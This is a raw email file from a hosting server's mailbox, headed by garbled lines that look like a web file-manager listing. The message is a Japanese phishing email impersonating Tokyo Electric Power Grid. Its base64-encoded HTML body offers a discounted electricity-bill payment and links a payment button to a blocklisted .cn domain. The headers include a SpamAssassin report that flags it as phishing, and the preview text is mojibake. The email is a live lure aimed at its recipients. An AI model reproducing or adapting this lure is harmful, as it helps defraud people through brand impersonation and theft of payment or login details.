PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ithome/mail/new/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/new/1773883624.M656775P7031.host100322.itwesthosting.com,S=8772,W=8927 |
Return-Path: <order-kytjhm@ftwengh.cn>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id sWX4JuhQu2l3GwAAp0YrwQ
(envelope-from <order-kytjhm@ftwengh.cn>)
for <ithome@host100322.itwesthosting.com>; Thu, 19 Mar 2026 02:27:04 +0100
Return-path: <order-kytjhm@ftwengh.cn>
Envelope-to: webmaster@geopars.com
Delivery-date: Thu, 19 Mar 2026 02:27:04 +0100
Received: from [150.5.130.143] (port=39879 helo=ftwengh.cn)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <order-kytjhm@ftwengh.cn>)
id 1w32A9-0001ow-15
for webmaster@geopars.com;
Thu, 19 Mar 2026 02:27:04 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=mail; d=ftwengh.cn;
h=Date:From:To:Subject:Message-ID:Mime-Version:Content-Type;
i=order-kytjhm@ftwengh.cn;
bh=c1815TGjHoaQ7fPRF082QbwRFFo4MIsreV2S2wNRKdc=;
b=0fG/x4aquSWSxB72Com54ATYjG42jjC/ZbjMlzA7ccDbZ3jtUdKTDCFHDatMWoL2xSDtM1apjWMO
6b+YL2i7aWJsJKB+H/2JDI/Wwj2mUzwHdCp6RX4EXuowtIJdobSDtdYI7W9Gt0CwOtm/1UQThmFK
+h6HAuJMA+UhXYxTUTs=
Date: Thu, 19 Mar 2026 09:26:47 +0800
From: =?utf-8?B?5p2x5Lqs6Zu75Yqb?= <order-kytjhm@ftwengh.cn>
To: <webmaster@geopars.com>
Message-ID: <20260319092657128213@ftwengh.cn>
X-mailer: Foxmail 6, 13, 102, 15 [cn]
Mime-Version: 1.0
Content-Type: multipart/alternative;
boundary="=====003_Dragon033032537387_====="
X-Spam-Status: Yes, score=20.1
X-Spam-Score: 201
X-Spam-Bar: ++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: 電気料金処ç†ã®ã”案内 å‡¦ç†æŽ¨å¥¨æ—¥ï¼š2026-03-31
オンラインã§å³æ™‚å‡¦ç† æ±äº¬é›»åŠ›ãƒ‘ãƒ¯ãƒ¼ã‚°ãƒªãƒƒãƒ‰æ ªå¼ä¼šç¤¾
〒100-8118 æ±äº¬éƒ½åƒä»£ç”°åŒºä¸¸ã®å†…1-3-1 å•åˆã›å…ˆï¼š [...]
Content analysis details: (20.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: ftwengh.cn]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: ftwengh.cn]
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?150.5.130.143>]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[150.5.130.143 listed in psbl.surriel.com]
1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL
blocklist
[URIs: uykhe.cn]
3.6 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL
[150.5.130.143 listed in zen.spamhaus.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[150.5.130.143 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[150.5.130.143 listed in sa-trusted.bondedsender.org]
0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL
blocklist
[URIs: ftwengh.cn]
0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS
blocklist
[URIs: ftwengh.cn]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
X-Spam-Flag: YES
Subject: ***SPAM*** =?utf-8?B?44CQMjAl44Kq44OV44CR5Yas44Gu6Zu75rCXP+OCrOOCueaWmemHkeOBjOS7iuOBquOCiQ==?=
=?utf-8?B?44GK5b6X44Gr44OB44Oj44O844K444Gn44GN44G+44GZ77yB?=
X-From-Rewrite: unmodified, forwarded message
This is a multi-part message in MIME format.
--=====003_Dragon033032537387_=====
Content-Type: text/plain;
charset="utf-8"
Content-Transfer-Encoding: base64
6Zu75rCX5paZ6YeR5Yem55CG44Gu44GU5qGI5YaFIA0K5Yem55CG5o6o5aWo5pel77yaMjAyNi0w
My0zMQ0K44Kq44Oz44Op44Kk44Oz44Gn5Y2z5pmC5Yem55CGIOadseS6rOmbu+WKm+ODkeODr+OD
vOOCsOODquODg+ODieagquW8j+S8muekvg0K44CSMTAwLTgxMTgg5p2x5Lqs6YO95Y2D5Luj55Sw
5Yy65Li444Gu5YaFMS0zLTEgDQrllY/lkIjjgZvlhYjvvJowMTIwLTk5NS0wMDEg
--=====003_Dragon033032537387_=====
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: base64
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MIGxhbmc9amE+PEhFQUQ+PFRJVExFPumbu+awl+aWmemHkeOCquODs+ODqeOC
pOODs+WHpueQhu+9nOadseS6rOmbu+WKm+ODkeODr+ODvOOCsOODquODg+ODiTwvVElUTEU+DQo8
TUVUQSBjaGFyc2V0PVVURi04Pg0KPFNUWUxFPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAg
IGZvbnQtZmFtaWx5OiAn44Oh44Kk44Oq44KqJywgTWVpcnlvLCBzYW5zLXNlcmlmOw0KICAgICAg
ICAgICAgbGluZS1oZWlnaHQ6IDEuNjsNCiAgICAgICAgICAgIG1heC13aWR0aDogNjAwcHg7DQog
ICAgICAgICAgICBtYXJnaW46IDIwcHggYXV0bzsNCiAgICAgICAgICAgIHBhZGRpbmc6IDMwcHg7
DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOWZiOw0KICAgICAgICB9DQogICAgICAgIC5t
YWluLWNvbnRhaW5lciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOw0KICAgICAgICAg
ICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogNDBweDsNCiAgICAg
ICAgfQ0KICAgICAgICAucGF5bWVudC1idG4gew0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7
DQogICAgICAgICAgICB3aWR0aDogMjgwcHg7DQogICAgICAgICAgICBtYXJnaW46IDMwcHggYXV0
bzsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE2cHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAj
MDA0MDk4Ow0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICB0ZXh0LWFsaWdu
OiBjZW50ZXI7DQogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgICAgICAg
ICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBvcGFjaXR5IDAu
M3M7DQogICAgICAgIH0NCiAgICAgICAgLnBheW1lbnQtYnRuOmhvdmVyIHsNCiAgICAgICAgICAg
IG9wYWNpdHk6IDAuOTsNCiAgICAgICAgfQ0KICAgIDwvU1RZTEU+DQoNCjxNRVRBIG5hbWU9R0VO
RVJBVE9SIGNvbnRlbnQ9Ik1TSFRNTCAxMS4wMC45NjAwLjE5MTgwIj48L0hFQUQ+DQo8Qk9EWT4N
CjxESVYgY2xhc3M9bWFpbi1jb250YWluZXI+DQo8SDIgc3R5bGU9IkNPTE9SOiAjMDA0MDk4OyBN
QVJHSU46IDBweCAwcHggMjVweCI+6Zu75rCX5paZ6YeR5Yem55CG44Gu44GU5qGI5YaFIDwvSDI+
DQo8RElWIHN0eWxlPSJNQVJHSU4tQk9UVE9NOiAzMHB4Ij4NCjxQIHN0eWxlPSJNQVJHSU46IDBw
eCAwcHggMTBweCI+5Yem55CG5o6o5aWo5pel77yaMjAyNi0wMy0zMTwvUD48L0RJVj48QSANCnRp
dGxlPeOCquODs+ODqeOCpOODs+WHpueQhuOCt+OCueODhuODoOOBuOenu+WLlSBjbGFzcz1wYXlt
ZW50LWJ0biBocmVmPSJodHRwczovL3J5bmVub3VnaGl2aXR5LnV5a2hlLmNuL2luZW9sdGNhcC95
eHFmcWluZC90ZWxvcC8iPuOCquODs+ODqeOCpOODs+OBp+WNs+aZguWHpueQhiANCjwvQT4NCjxE
SVYgc3R5bGU9IkZPTlQtU0laRTogMC45ZW07IENPTE9SOiAjNjY2OyBNQVJHSU4tVE9QOiA0MHB4
Ij4NCjxQIHN0eWxlPSJNQVJHSU46IDBweCAwcHggMTBweCI+5p2x5Lqs6Zu75Yqb44OR44Ov44O8
44Kw44Oq44OD44OJ5qCq5byP5Lya56S+PEJSPuOAkjEwMC04MTE4IOadseS6rOmDveWNg+S7o+eU
sOWMuuS4uOOBruWGhTEtMy0xIA0KPC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMHB4Ij7llY/lkIjj
gZvlhYjvvJo8QSBzdHlsZT0iQ09MT1I6ICMwMDQwOTgiIA0KaHJlZj0idGVsOjAxMjAtOTk1LTAw
MSI+MDEyMC05OTUtMDAxPC9BPiA8L1A+PC9ESVY+PC9ESVY+PEJSPjxCUj48L0JPRFk+PC9IVE1M
Pg0K
--=====003_Dragon033032537387_=====--